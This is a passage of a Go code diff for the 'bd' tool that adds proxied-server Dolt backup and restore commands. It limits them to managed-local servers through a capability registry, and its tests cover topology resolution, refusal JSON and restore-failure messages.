reopen", "schema is behind"}, + wantMissing: []string{"restore failed"}, + }, + { + name: "reconcile succeeded, teardown failed", + afterReconcile: true, + err: &proxiedTeardownError{err: boom}, + wantContains: []string{"the data is restored and reconciled", "bd dolt stop --force"}, + // Nothing left to re-register: the reconcile already ran. + wantMissing: []string{"restore failed", "bd backup init"}, + }, + } { + t.Run(tc.name, func(t *testing.T) { + got := proxiedRestoreFailureMessage("/tmp/backup", tc.afterReconcile, tc.err) + for _, want := range tc.wantContains { + if !strings.Contains(got, want) { + t.Errorf("message %q does not contain %q", got, want) + } + } + for _, unwanted := range tc.wantMissing { + if strings.Contains(got, unwanted) { + t.Errorf("message %q must not contain %q", got, unwanted) + } + } + }) + } +} + +// backupFamilyPaths is every registry path the backup family owns. Keeping the +// list in one place is what makes "the whole family moves together" an +// assertion rather than a convention. +var backupFamilyPaths = []string{ + "backup", "backup init", "backup sync", "backup remove", "backup status", "backup restore", +} + +// TestProxiedBackupHonoredOnlyOnManagedLocal is the locality policy. +// +// A Dolt backup destination is resolved by the SERVER: CALL DOLT_BACKUP('add', +// name, 'file:///…') names a path on the machine running dolt, not on the +// machine running bd. On managed-local that is the same machine and the same +// user, because bd spawned the child itself. On every other proxied shape it is +// somebody else's filesystem, so honoring the command would either fail at the +// point of use or — much worse — succeed and write the backup somewhere the +// operator cannot see. That is why these stay refused with Reason=design. +func TestProxiedBackupHonoredOnlyOnManagedLocal(t *testing.T) { + for _, path := range backupFamilyPaths { + row, ok := LookupCapabilityRow(path, "") + if !ok { + t.Fatalf("%q has no registry row", path) + } + + if got := row.ruleFor(ProxyTopologyManagedLocal); got.Outcome != ProxyOutcomeHonored { + t.Errorf("%q on managed-local: outcome %q, want honored", path, got.Outcome) + } + + for _, topology := range []ProxyTopology{ + ProxyTopologyExternalTCP, ProxyTopologyExternalUnix, + ProxyTopologyTeamServer, ProxyTopologyUnknown, + } { + got := row.ruleFor(topology) + if got.Outcome != ProxyOutcomeRefused { + t.Errorf("%q on %s: outcome %q, want refused", path, topology, got.Outcome) + } + if got.Reason != ProxyReasonDesign { + t.Errorf("%q on %s: reason %q, want design", path, topology, got.Reason) + } + if got.Code != "proxy.backup.unsupported" { + t.Errorf("%q on %s: code %q, want the frozen proxy.backup.unsupported", path, topology, got.Code) + } + if !strings.Contains(got.Message, "is not supported in proxied-server mode") { + t.Errorf("%q on %s: message %q dropped the frozen prefix", path, topology, got.Message) + } + } + } +} + +// TestProxiedBackupGateRefusesByTopology exercises the gate itself rather than +// the table, so a row that is right while the validator ignores the topology +// still fails. +func TestProxiedBackupGateRefusesByTopology(t *testing.T) { + newBackupCmd := func(sub string) *cobra.Command { + root := &cobra.Command{Use: "bd"} + parent := &cobra.Command{Use: "backup"} + child := &cobra.Command{Use: sub} + parent.AddCommand(child) + root.AddCommand(parent) + return child + } + + for _, sub := range []string{"init", "sync", "remove", "status", "restore"} { + t.Run(sub, func(t *testing.T) { + if err := validateProxyRegistryBeforeProvider(newBackupCmd(sub), ProxyTopologyManagedLocal); err != nil { + t.Fatalf("managed-local: gate refused %q: %v", sub, err) + } + err := validateProxyRegistryBeforeProvider(newBackupCmd(sub), ProxyTopologyExternalTCP) + if err == nil { + t.Fatalf("external-tcp: gate permitted %q", sub) + } + }) + } +} + +// TestProxiedBackupRefusalJSONCarriesDesignReason pins what a consumer sees. +// The three frozen fields are unchanged and reason now says "design", which is +// the difference that matters: this refusal is not waiting on a later slice. +func TestProxiedBackupRefusalJSONCarriesDesignReason(t *testing.T) { + t.Setenv("BD_JSON_ENVELOPE", "") + oldJSON := jsonOutput + jsonOutput = true + t.Cleanup(func() { jsonOutput = oldJSON }) + + root := &cobra.Command{Use: "bd"} + parent := &cobra.Command{Use: "backup"} + child := &cobra.Command{Use: "sync"} + parent.AddCommand(child) + root.AddCommand(parent) + + out := captureStdout(t, func() error { + _ = validateProxyRegistryBeforeProvider(child, ProxyTopologyExternalTCP) + return nil + }) + for _, want := range []string{ + `"code": "proxy.backup.unsupported"`, + `"mutates": false`, + `"reason": "design"`, + } { + if !strings.Contains(out, want) { + t.Fatalf("refusal JSON missing %s:\n%s", want, out) + } + } +} + +// TestResolveProxiedTopology covers the resolution the gate depends on. The +// team-server case is the one worth reading twice: ownership beats transport, +// because a bts-managed database is somebody else's store whether bd reaches it +// over a socket, a port, or a child it spawned itself. +func TestResolveProxiedTopology(t *testing.T) { + for _, tc := range []struct { + name string + cfg configfile.Config + sidecar *configfile.ProxiedServerClientInfo + rawCfg string // when set, written verbatim instead of cfg + rawCar string // when set, written verbatim instead of sidecar + want ProxyTopology + }{ + { + name: "managed local has no external block", + cfg: configfile.Config{DoltMode: configfile.DoltModeProxiedServer}, + sidecar: &configfile.ProxiedServerClientInfo{}, + want: ProxyTopologyManagedLocal, + }, + { + name: "no sidecar at all is still managed local", + cfg: configfile.Config{DoltMode: configfile.DoltModeProxiedServer}, + sidecar: nil, + want: ProxyTopologyManagedLocal, + }, + { + name: "external host and port", + cfg: configfile.Config{DoltMode: configfile.DoltModeProxiedServer}, + sidecar: &configfile.ProxiedServerClientInfo{ + External: &configfile.ExternalDoltConfig{Host: "db.example.com", Port: 3306}, + }, + want: ProxyTopologyExternalTCP, + }, + { + name: "external unix socket", + cfg: configfile.Config{DoltMode: configfile.DoltModeProxiedServer}, + sidecar: &configfile.ProxiedServerClientInfo{ + External: &configfile.ExternalDoltConfig{Socket: "/var/run/dolt.sock"}, + }, + want: ProxyTopologyExternalUnix, + }, + { + name: "team server beats the transport", + cfg: configfile.Config{DoltMode: configfile.DoltModeProxiedServer, DoltTeamServer: true}, + sidecar: &configfile.ProxiedServerClientInfo{ + External: &configfile.ExternalDoltConfig{Host: "bts.example.com", Port: 3306}, + }, + want: ProxyTopologyTeamServer, + }, + { + name: "team server on a local child is still team server", + cfg: configfile.Config{DoltMode: configfile.DoltModeProxiedServer, DoltTeamServer: true}, + sidecar: &configfile.ProxiedServerClientInfo{}, + want: ProxyTopologyTeamServer, + }, + { + name: "unreadable sidecar fails closed", + cfg: configfile.Config{DoltMode: configfile.DoltModeProxiedServer}, + rawCar: "{ not json", + want: ProxyTopologyUnknown, + }, + { + name: "unreadable workspace config fails closed", + rawCfg: "{ not json", + want: ProxyTopologyUnknown, + }, + } { + t.Run(tc.name, func(t *testing.T) { + beadsDir := filepath.Join(t.TempDir(), ".beads") + if err := os.MkdirAll(beadsDir, 0o750); err != nil { + t.Fatal(err) + } + switch { + case tc.rawCfg != "": + writeTestFile(t, configfile.ConfigPath(beadsDir), tc.rawCfg) + default: + cfg := tc.cfg + cfg.Backend = configfile.BackendDolt + data, err := json.Marshal(cfg) + if err != nil { + t.Fatal(err) + } + writeTestFile(t, configfile.ConfigPath(beadsDir), string(data)) + } + switch { + case tc.rawCar != "": + writeTestFile(t, configfile.ProxiedServerClientInfoPath(beadsDir), tc.rawCar) + case tc.sidecar != nil: + data, err := json.Marshal(tc.sidecar) + if err != nil { + t.Fatal(err) + } + writeTestFile(t, configfile.ProxiedServerClientInfoPath(beadsDir), string(data)) + } + + if got := resolveProxiedTopology(beadsDir); got != tc.want { + t.Fatalf("resolveProxiedTopology = %q, want %q", got, tc.want) + } + }) + } +} + +func writeTestFile(t *testing.T, path, body string) { + t.Helper() + if err := os.WriteFile(path, []byte(body), 0o600); err != nil { + t.Fatal(err) + } +} diff --git a/cmd/bd/backup_proxied_server.go b/cmd/bd/backup_proxied_server.go new file mode 100644 index 000000000..13bfaacac --- /dev/null +++ b/cmd/bd/backup_proxied_server.go @@ -0,0 +1,477 @@ +package main + +import ( + "context" + "database/sql" + "errors" + "fmt" + "os" + "path/filepath" + "strings" + "time" + + "github.com/steveyegge/beads/internal/beads" + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/storage/uow" + "github.com/steveyegge/beads/internal/storage/versioncontrolops" +) + +// Dolt-native backup over the proxied-server provider. +// +// The mechanism needed no proxy work at all: CALL DOLT_BACKUP(...) is ordinary +// SQL, RunNonTx already hands out a raw pinned connection (the seam `compact +// --dolt` and `gc` run on), the UOW DSN sets a connect timeout but no read +// deadline, and an active connection keeps the idle reaper from arming — so a +// backup that takes minutes is safe from both the driver and the 30s reaper. +// +// What the family DID need is the locality policy, which lives in the registry +// (see capability_registry.go's backup rows) because it is what the front door +// enforces. The guard below repeats it at the route because these functions are +// reachable from RunE, and a route that trusts the gate is one refactor away +// from writing a backup onto a host it does not own. +// +// None of these routes touch commandDidWrite or commandDidExplicitDoltCommit. +// Those two drive the post-run Dolt auto-commit, which is an embedded/direct +// concern — PersistentPostRunE's proxied branch never reads them — and the +// other proxied routes leave them alone for the same reason. + +// proxiedBackupTargetName is the Dolt backup remote bd registers. Same name the +// direct path uses, so a workspace that changes topology still finds its +// destination. +const proxiedBackupTargetName = defaultDoltBackupName + +// requireLocalProxiedBackup re-checks the locality policy at the route. +// Defense in depth, not a second policy: the rule and its wording come from the +// same registry row the pre-provider gate consults, so the two cannot drift. +func requireLocalProxiedBackup(path string) error { + row, ok := LookupCapabilityRow(path, "") + if !ok { + // Unreachable: TestProxyCapabilityRegistryCoversCommandTree fails the + // build for a backup path with no row. Refuse rather than guess. + return HandleErrorRespectJSON("%s has no proxied-server capability row", path) + } + rule := row.ruleFor(resolveProxiedTopology(beads.FindBeadsDir())) + if rule.Outcome == ProxyOutcomeHonored { + return nil + } + return HandleProxyCapabilityError(proxyCapabilityErrorFor(rule)) +} + +// proxiedActiveDatabase asks the server which database the provider opened, +// rather than re-deriving it from the workspace config. The provider already +// resolved that question (metadata.json, then --database/--db), and a second +// ladder here would be a second answer waiting to disagree with it. +func proxiedActiveDatabase(ctx context.Context) (string, error) { + var database string + err := runProxiedNonTx(ctx, func(ctx context.Context, conn *sql.Conn) error { + var name sql.NullString + if err := conn.QueryRowContext(ctx, "SELECT DATABASE()").Scan(&name); err != nil { + return fmt.Errorf("resolve active database: %w", err) + } + if !name.Valid || name.String == "" { + return fmt.Errorf("the proxied connection has no database selected") + } + database = name.String + return nil + }) + return database, err +} + +// runBackupInitProxied registers the backup destination, mirroring the direct +// path's conflict handling: Dolt refuses a second remote at an address another +// one already holds, and a re-init to a new path has to replace the old entry +// rather than fail. +func runBackupInitProxied(ctx context.Context, rawPath string) error { + if err := requireLocalProxiedBackup("backup init"); err != nil { + return err + } + backupURL := resolveDoltBackupURL(rawPath) + + err := runProxiedNonTx(ctx, func(ctx context.Context, conn *sql.Conn) error { + addErr := versioncontrolops.BackupAdd(ctx, conn, proxiedBackupTargetName, backupURL) + if addErr == nil { + return nil + } + switch { + case strings.Contains(addErr.Error(), "already exists"): + // Same name, different URL: replace it. + _ = versioncontrolops.BackupRemove(ctx, conn, proxiedBackupTargetName) + case versioncontrolops.ExtractAddressConflictName(addErr) != "": + // A different name (auto-export registers "backup_export") already + // points at this URL; take the address over. + _ = versioncontrolops.BackupRemove(ctx, conn, versioncontrolops.ExtractAddressConflictName(addErr)) + default: + return addErr + } + return versioncontrolops.BackupAdd(ctx, conn, proxiedBackupTargetName, backupURL) + }) + if err != nil { + return HandleErrorRespectJSON("failed to add backup destination: %v", err) + } + + if err := saveDoltBackupConfig(backupURL); err != nil { + fmt.Fprintf(os.Stderr, "Warning: backup registered but failed to save config: %v\n", err) + } + + if jsonOutput { + return outputJSON(map[string]interface{}{ + "backup_url": backupURL, + "backup_name": proxiedBackupTargetName, + "initialized": true, + }) + } + fmt.Printf("Backup destination configured: %s\n", backupURL) + fmt.Println("Run 'bd backup sync' to push your data.") + return nil +} + +// runBackupSyncProxied pushes the database to the configured destination. +func runBackupSyncProxied(ctx context.Context) error { + if err := requireLocalProxiedBackup("backup sync"); err != nil { + return err + } + + start := time.Now() + err := runProxiedNonTx(ctx, func(ctx context.Context, conn *sql.Conn) error { + if err := commitWorkingSetBeforeBackup(ctx, conn); err != nil { + // Same posture as the direct path: a failed pre-backup commit + // means the backup may miss the newest writes, which is worth + // saying out loud and is not worth refusing to back up over. + fmt.Fprintf(os.Stderr, "Warning: failed to commit pending changes: %v\n", err) + } + return versioncontrolops.BackupSync(ctx, conn, proxiedBackupTargetName) + }) + if err != nil { + if strings.Contains(err.Error(), "no backup") || strings.Contains(err.Error(), "not found") { + return HandleErrorRespectJSON("no backup destination configured. Run 'bd backup init ' first") + } + return HandleErrorRespectJSON("backup sync failed: %v", err) + } + + elapsed := time.Since(start) + if err := updateDoltBackupState(elapsed); err != nil { + fmt.Fprintf(os.Stderr, "Warning: backup synced but failed to update state: %v\n", err) + } + + if jsonOutput { + return outputJSON(map[string]interface{}{ + "synced": true, + "duration": elapsed.String(), + }) + } + fmt.Printf("Backup synced in %s\n", elapsed.Round(time.Millisecond)) + return nil +} + +// commitWorkingSetBeforeBackup is the proxied twin of the direct path's +// "bd: pre-backup commit". DOLT_BACKUP syncs COMMITTED history, so anything +// still in the working set would silently be missing from the backup. +// +// It is normally a no-op: every proxied write transaction ends in +// DOLT_COMMIT('-Am') (uow doltServerTx.Commit), so the working set is already +// clean. The pending check is what keeps this from minting an empty commit on +// every sync — Dolt rejects those server-side and logs each one. +func commitWorkingSetBeforeBackup(ctx context.Context, conn *sql.Conn) error { + pending, err := issueops.HasPendingChanges(ctx, conn) + if err != nil { + return fmt.Errorf("check pending changes: %w", err) + } + if !pending { + return nil + } + if _, err := conn.ExecContext(ctx, "CALL DOLT_COMMIT('-Am', ?)", "bd: pre-backup commit"); err != nil { + if issueops.IsNothingToCommitError(err) { + return nil + } + return err + } + return nil +} + +// runBackupRemoveProxied unregisters the destination and drops the local +// sidecars. The backup data itself is left alone, as in direct mode. +func runBackupRemoveProxied(ctx context.Context) error { + if err := requireLocalProxiedBackup("backup remove"); err != nil { + return err + } + + err := runProxiedNonTx(ctx, func(ctx context.Context, conn *sql.Conn) error { + if err := versioncontrolops.BackupRemove(ctx, conn, proxiedBackupTargetName); err != nil { + return err + } + // auto-export may have registered a second remote at the same URL. + _ = versioncontrolops.BackupRemove(ctx, conn, "backup_export") + return nil + }) + if err != nil { + if strings.Contains(err.Error(), "not found") || strings.Contains(err.Error(), "no backup") { + return HandleErrorRespectJSON("no backup destination configured") + } + return HandleErrorRespectJSON("failed to remove backup: %v", err) + } + + if path, err := doltBackupConfigPath(); err == nil { + _ = os.Remove(path) + } + if path, err := doltBackupStatePath(); err == nil { + _ = os.Remove(path) + } + + if jsonOutput { + return outputJSON(map[string]interface{}{"removed": true}) + } + fmt.Println("Backup destination removed.") + return nil +} + +// doltBackupSizeProxied measures the managed-local database on disk, which is +// what `bd backup status` reports on every other topology that can answer. +// +// It reads the directory rather than asking Dolt because that is what the +// direct stores do (DoltStore.ActiveDatabaseSize measures +// localActiveDatabaseDir), so the number means the same thing in both modes. +// The database NAME still comes from the server, so the directory measured is +// the one this connection is actually using. +func doltBackupSizeProxied(ctx context.Context) (int64, bool, error) { + beadsDir := beads.FindBeadsDir() + if beadsDir == "" { + return 0, false, nil + } + root, err := resolveProxiedServerRootPath(beadsDir) + if err != nil { + return 0, false, nil + } + + database, err := proxiedActiveDatabase(ctx) + if err != nil { + return 0, false, err + } + + dir := filepath.Join(root, database) + if _, err := os.Stat(dir); err != nil { + // No local directory means nothing bd can measure; the status contract + // treats size as optional rather than failing the command. + return 0, false, nil + } + size, err := storage.MeasureDirectorySize(ctx, dir) + if err != nil { + return 0, false, fmt.Errorf("measure active database directory %q: %w", dir, err) + } + return size, true, nil +} + +// runBackupRestoreProxied restores the database from a Dolt backup, quiescing +// the topology first. +// +// DOLT_BACKUP('restore') REPLACES the database under the server. Doing that +// while clients hold connections to it is undefined, so the restore runs with +// bd as the only client and nothing else pointed at the store: +// +// 1. `bd backup restore` already holds the workspace and physical-root gates +// EXCLUSIVELY (commandNeedsExclusiveGate), so no other gated bd command — +// including `bd serve` — is using this workspace. +// 2. This function closes the provider the root pre-run opened and shuts the +// proxy and its dolt child down, so no connection survives into the +// replace. +// 3. It reopens a provider of its own, which relaunches the topology with +// exactly one client, and runs the restore on that. +// 4. It shuts the topology down again and reopens once more to finish: the +// reopen proves the restored database is serviceable, and it is where the +// project identity and the backup remote are reconciled. A connection +// pinned across the replace would be reading a database that no longer +// exists underneath it. +// +// The final shutdown leaves the workspace quiescent, so the next bd command +// relaunches lazily against the restored data. +func runBackupRestoreProxied(ctx context.Context, dir string, force bool) error { + if err := requireLocalProxiedBackup("backup restore"); err != nil { + return err + } + beadsDir := beads.FindBeadsDir() + if beadsDir == "" { + return HandleErrorRespectJSON("%s", activeWorkspaceNotFoundError()) + } + root, err := resolveProxiedServerRootPath(beadsDir) + if err != nil { + return HandleErrorRespectJSON("%v", err) + } + backupURL, err := versioncontrolops.DirToFileURL(dir) + if err != nil { + return HandleErrorRespectJSON("%v", err) + } + + // Ask the live provider which database to replace before taking it away. + database, err := proxiedActiveDatabase(ctx) + if err != nil { + return HandleErrorRespectJSON("%v", err) + } + + if err := quiesceProxiedTopology(ctx, root); err != nil { + return HandleErrorRespectJSON("%v", err) + } + + if err := withQuiescedProxiedProvider(ctx, beadsDir, database, root, func(ctx context.Context, conn *sql.Conn) error { + return versioncontrolops.BackupRestore(ctx, conn, backupURL, database, force) + }); err != nil { + return HandleErrorRespectJSON("%s", proxiedRestoreFailureMessage(dir, false, err)) + } + + if err := withQuiescedProxiedProvider(ctx, beadsDir, database, root, func(ctx context.Context, conn *sql.Conn) error { + return reconcileRestoredProxiedWorkspace(ctx, conn, beadsDir, dir, force) + }); err != nil { + return HandleErrorRespectJSON("%s", proxiedRestoreFailureMessage(dir, true, err)) + } + + return nil +} + +// proxiedRestoreFailureMessage renders what the operator is told when one of +// the two quiesced steps fails. +// +// The distinction it makes is the only one that matters here: DID THE DATA COME +// BACK. A teardown failure happens after the step succeeded, so saying "restore +// failed" would be false, and the obvious response to it — run the restore +// again — is the wrong one. Split out from the call sites so that judgement is +// something a test can hold still (TestProxiedRestoreFailureMessage). +// +// afterReconcile distinguishes the two steps, because a teardown failure costs +// the operator different follow-up work either side of the reconcile: before +// it, the backup destination has not been re-registered yet. +func proxiedRestoreFailureMessage(dir string, afterReconcile bool, err error) string { + var teardown *proxiedTeardownError + if errors.As(err, &teardown) { + if afterReconcile { + return fmt.Sprintf("restored from %s, but shutting the proxied server down afterwards failed: %v; "+ + "the data is restored and reconciled — run 'bd dolt stop --force' before the next command", dir, teardown) + } + return fmt.Sprintf("restored from %s, but shutting the proxied server down afterwards failed: %v; "+ + "the data is restored — run 'bd dolt stop --force', then 'bd backup init %s' to re-register the "+ + "backup destination, which this run did not reach", dir, teardown, dir) + } + if afterReconcile { + return fmt.Sprintf("restored from %s, but the restored database did not reopen: %v", dir, err) + } + return fmt.Sprintf("restore failed: %v", err) +} + +// quiesceProxiedTopology drops this process's provider and stops the proxy and +// its dolt child, so nothing holds the database that is about to be replaced. +func quiesceProxiedTopology(ctx context.Context, root string) error { + if uowProvider != nil { + if err := uowProvider.Close(ctx); err != nil { + return fmt.Errorf("close the proxied provider before restoring: %w", err) + } + uowProvider = nil + } + if err := proxy.Shutdown(root); err != nil { + return fmt.Errorf("stop the proxied server before restoring: %w; "+ + "run 'bd dolt stop --force' and retry", err) + } + return nil +} + +// proxiedTeardownError marks a failure that happened AFTER the operation +// succeeded, while putting the topology back down. It exists so the caller can +// tell the two apart in what it prints. Flattening them is what made a restore +// that completed and then failed to shut the proxy down report "restore +// failed": the operator is told their data did not come back when it did, and +// the obvious response — run the restore again — is the wrong one. +type proxiedTeardownError struct{ err error } + +func (e *proxiedTeardownError) Error() string { return e.err.Error() } +func (e *proxiedTeardownError) Unwrap() error { return e.err } + +// withQuiescedProxiedProvider relaunches the topology for one operation and +// puts it back down afterwards, so each step either side of the replace runs on +// a connection that was opened after it. +// +// The provider ADOPTS whatever identity the database carries: a restore is +// precisely the operation after which the workspace's recorded project id and +// the database's may legitimately differ, and asserting the old one would +// refuse the connection that is supposed to reconcile them. That makes this the +// third caller of newProxiedServerUOWProviderAdopting; its doc comment is the +// register of identity-assertion bypasses and names this one. +// +// A teardown failure is returned wrapped in *proxiedTeardownError, and only +// when the operation itself succeeded. If opening or running the operation +// failed, preserve that error and append any cleanup failure without the +// success marker. Shutdown is attempted even if construction fails after +// starting the topology but before returning a provider. +func withQuiescedProxiedProvider(ctx context.Context, beadsDir, database, root string, fn func(context.Context, *sql.Conn) error) (err error) { + var provider uow.UnitOfWorkProvider + defer func() { + var closeErr error + if provider != nil { + closeErr = provider.Close(ctx) + } + stopErr := proxy.Shutdown(root) + if teardownErr := errors.Join(closeErr, stopErr); teardownErr != nil { + if err != nil { + err = errors.Join(err, fmt.Errorf("shut down the proxied server after failure: %w", teardownErr)) + } else { + err = &proxiedTeardownError{err: teardownErr} + } + } + }() + provider, err = newProxiedServerUOWProviderAdopting(ctx, beadsDir, database) + if err != nil { + return err + } + + maintenance, ok := provider.(uow.MaintenanceProvider) + if !ok { + return fmt.Errorf("the proxied provider does not support maintenance operations") + } + return maintenance.RunNonTx(ctx, fn) +} + +// reconcileRestoredProxiedWorkspace is the post-restore bookkeeping, mirroring +// the direct path: adopt the restored database's project identity when the +// restore overwrote one, and register the restore source as the backup +// destination so `bd backup sync` works without a separate init. +// +// Both are best-effort with a warning, as in direct mode. The restore itself +// has already succeeded by this point, and failing the command over bookkeeping +// would tell the operator their data did not come back when it did. +func reconcileRestoredProxiedWorkspace(ctx context.Context, conn *sql.Conn, beadsDir, dir string, force bool) error { + if force { + if err := syncProjectIDFromProxiedDB(ctx, conn, beadsDir); err != nil { + fmt.Fprintf(os.Stderr, "Warning: failed to sync project ID after restore: %v\n", err) + } + } + + backupURL := resolveDoltBackupURL(dir) + _ = versioncontrolops.BackupRemove(ctx, conn, proxiedBackupTargetName) + if err := versioncontrolops.BackupAdd(ctx, conn, proxiedBackupTargetName, backupURL); err != nil { + fmt.Fprintf(os.Stderr, "Warning: failed to register backup remote: %v\n", err) + return nil + } + if err := saveDoltBackupConfig(backupURL); err != nil { + fmt.Fprintf(os.Stderr, "Warning: backup registered but failed to save config: %v\n", err) + } + return nil +} + +// syncProjectIDFromProxiedDB copies the restored database's _project_id into +// metadata.json, so the identity check does not reject later connections. The +// direct path reads it through the store; there is no store in proxied mode, so +// it goes through the same issueops accessor the store itself uses rather than +// a second copy of the query. +func syncProjectIDFromProxiedDB(ctx context.Context, conn *sql.Conn, beadsDir string) error { + dbID, err := issueops.GetMetadataInTx(ctx, conn, "_project_id") + if err != nil || dbID == "" { + return err + } + cfg, err := configfile.Load(beadsDir) + if err != nil { + return err + } + if cfg == nil || cfg.ProjectID == dbID { + return nil + } + cfg.ProjectID = dbID + return cfg.Save(beadsDir) +} diff --git a/cmd/bd/backup_restore.go b/cmd/bd/backup_restore.go index 7d1496181..aa508838a 100644 --- a/cmd/bd/backup_restore.go +++ b/cmd/bd/backup_restore.go @@ -30,11 +30,10 @@ Use --force to overwrite an existing database with the backup contents. The database must already be initialized (run 'bd init' first if needed). To initialize and restore in one step, use: bd init && bd backup restore`, - Args: cobra.MaximumNArgs(1), + Args: cobra.MaximumNArgs(1), + SilenceUsage: true, + SilenceErrors: true, RunE: func(cmd *cobra.Command, args []string) error { - if usesProxiedServer() { - return HandleErrorRespectJSON("backup restore is not supported in proxied-server mode") - } evt := metrics.NewCommandEvent("backup-restore") defer func() { if c := metrics.Global(); c != nil { @@ -61,14 +60,24 @@ To initialize and restore in one step, use: bd init && bd backup restore`, force, _ := cmd.Flags().GetBool("force") - if err := runBackupRestore(ctx, store, dir, force); err != nil { + if usesProxiedServer() { + if err := runBackupRestoreProxied(ctx, dir, force); err != nil { + return err + } + } else if err := runBackupRestore(ctx, store, dir, force); err != nil { return err } - if !jsonOutput { - fmt.Printf("%s Restore complete\n", ui.RenderPass("✓")) + // One success report for both topologies. Under --json this used to + // print nothing at all, which left a caller unable to tell a completed + // restore from a silently skipped one. + if jsonOutput { + return outputJSON(map[string]interface{}{ + "restored": true, + "source": dir, + }) } - + fmt.Printf("%s Restore complete\n", ui.RenderPass("✓")) return nil }, } diff --git a/cmd/bd/backup_status_test.go b/cmd/bd/backup_status_test.go index 0d6159b61..d06d0db78 100644 --- a/cmd/bd/backup_status_test.go +++ b/cmd/bd/backup_status_test.go @@ -10,6 +10,7 @@ import ( "testing" "github.com/spf13/cobra" + "github.com/steveyegge/beads/internal/configfile" ) func TestBackupStatusSizeErrorRespectsOutputMode(t *testing.T) { @@ -159,25 +160,62 @@ func TestBackupStatusIncludesAvailableDatabaseSize(t *testing.T) { }) } -func TestBackupStatusProxiedGuardDoesNotMeasureSize(t *testing.T) { - prepareBackupStatusTest(t) - proxiedServerMode = true - called := false - sizeDatabase := func(context.Context) (int64, bool, error) { - called = true - return 1, true, nil - } +// TestBackupStatusProxiedGuardFollowsLocality replaces a test that asserted a +// blanket proxied refusal. Since slice S3 the guard is scoped to locality: bd +// owns the dolt process on a managed-local workspace and can honor the command +// there, while an external one is still refused — and a refused command must +// not go on to measure anything, because the directory it would measure belongs +// to a server on another host. +func TestBackupStatusProxiedGuardFollowsLocality(t *testing.T) { + for _, tc := range []struct { + name string + sidecar string + wantMeasure bool + }{ + { + name: "external topology is refused without measuring", + sidecar: `{"external":{"host":"db.example.com","port":3306}}`, + wantMeasure: false, + }, + { + name: "managed local is honored and measures", + sidecar: `{}`, + wantMeasure: true, + }, + } { + t.Run(tc.name, func(t *testing.T) { + beadsDir := prepareBackupStatusTest(t) + proxiedServerMode = true + if err := os.WriteFile(configfile.ProxiedServerClientInfoPath(beadsDir), []byte(tc.sidecar), 0o600); err != nil { + t.Fatalf("write proxied sidecar: %v", err) + } - cmd := newBackupStatusTestRoot(sizeDatabase) - cmd.SetArgs([]string{"backup", "status"}) - _, _, err := executeBackupStatusCommand(t, cmd) - assertExitCode(t, err, 1) - if called { - t.Fatal("proxied-server guard called database size provider") + measured := false + sizeDatabase := func(context.Context) (int64, bool, error) { + measured = true + return 1, true, nil + } + + cmd := newBackupStatusTestRoot(sizeDatabase) + cmd.SetArgs([]string{"backup", "status"}) + _, _, err := executeBackupStatusCommand(t, cmd) + if tc.wantMeasure { + if err != nil { + t.Fatalf("backup status on managed-local: %v", err) + } + } else { + assertExitCode(t, err, 1) + } + if measured != tc.wantMeasure { + t.Fatalf("size provider called = %v, want %v", measured, tc.wantMeasure) + } + }) } } -func prepareBackupStatusTest(t *testing.T) { +// prepareBackupStatusTest builds a throwaway workspace and returns its .beads +// directory, so a caller can drop workspace files (the proxied sidecar) into it. +func prepareBackupStatusTest(t *testing.T) string { t.Helper() beadsDir := filepath.Join(t.TempDir(), ".beads") @@ -198,6 +236,7 @@ func prepareBackupStatusTest(t *testing.T) { proxiedServerMode = oldProxiedServerMode resetCommandContext() }) + return beadsDir } func newBackupStatusTestRoot(sizeDatabase backupSizeFunc) *cobra.Command { diff --git a/cmd/bd/capability_registry.go b/cmd/bd/capability_registry.go index 276650bbe..5ee3b2aa5 100644 --- a/cmd/bd/capability_registry.go +++ b/cmd/bd/capability_registry.go @@ -72,8 +72,9 @@ const ( // Tracking values name the plan-of-record work item for an unimplemented // refusal. These are the slices of the proxied-parity plan; a row gets a GitHub // issue or bead ID instead once one is filed for it. +// S3 has no entry: it landed, and its rows carry Reason=design rather than a +// tracking item. const ( - trackBackup = "proxied-parity S3 (backup/restore family)" trackVersionCtl = "proxied-parity S4 (dolt commit/push/pull/remote)" trackSync = "proxied-parity S5 (bd sync)" trackDegradation = "proxied-parity S6 (doctor, config show, degradations)" @@ -85,12 +86,40 @@ const ( // empty for the bare path; a row keyed on an ArgSet wins over the bare row, which // is how `duplicates --auto-merge --dry-run` stays honored while // `duplicates --auto-merge` is refused. +// +// Topology overrides Rule on the proxied shapes named in it and is empty for +// every row whose answer is the same everywhere — which is all of them but the +// backup family. See honoredOn. type capabilityRow struct { - Path string - ArgSet string - Rule proxyCapabilityRule - History HistoryCapabilityClass - Note string + Path string + ArgSet string + Rule proxyCapabilityRule + Topology map[ProxyTopology]proxyCapabilityRule + History HistoryCapabilityClass + Note string +} + +// ruleFor resolves the row's policy on one proxied topology. +func (r capabilityRow) ruleFor(topology ProxyTopology) proxyCapabilityRule { + if rule, ok := r.Topology[topology]; ok { + return rule + } + return r.Rule +} + +// honoredOn narrows a refusal to the shapes where it is actually true: the row +// goes on refusing everywhere except the topologies named here. +// +// The direction is deliberate. A row states its refusal first and then lists +// the exceptions, so a shape nobody thought about — a new transport, or the +// unknown a corrupt sidecar produces — inherits the refusal rather than the +// exemption. +func (r capabilityRow) honoredOn(topologies ...ProxyTopology) capabilityRow { + r.Topology = make(map[ProxyTopology]proxyCapabilityRule, len(topologies)) + for _, topology := range topologies { + r.Topology[topology] = proxyCapabilityRule{Outcome: ProxyOutcomeHonored} + } + return r } // display renders the row's key the way its refusal message names it. @@ -166,6 +195,50 @@ func permitted(path string) capabilityRow { return capabilityRow{Path: path, Rule: proxyCapabilityRule{Outcome: ProxyOutcomeHonored}} } +// backupRefusal builds one backup-family row: honored where bd owns the Dolt +// server, refused by design everywhere else. The code stays +// proxy.backup.unsupported — consumers have been keying on it since 1.3.0 and +// the refusal it names has not changed, only its reason and its scope — and the +// message keeps the frozen " is not supported in proxied-server mode" +// prefix, with the reason appended. +// +// The message leads with SERVER-GLOBAL STATE rather than with the filesystem, +// because only the filesystem half is scheme-specific. `bd backup init` accepts +// https/aws/gs as well as file:// (resolveDoltBackupURL) and the help text +// recommends DoltHub; for those a server-side push over the network with the +// server's own credentials is a coherent thing to ask for, and "the destination +// is on the server's disk" says nothing about it. What is true of every scheme +// is that `CALL DOLT_BACKUP('add', …)` registers the remote ON THE SERVER, +// where it is 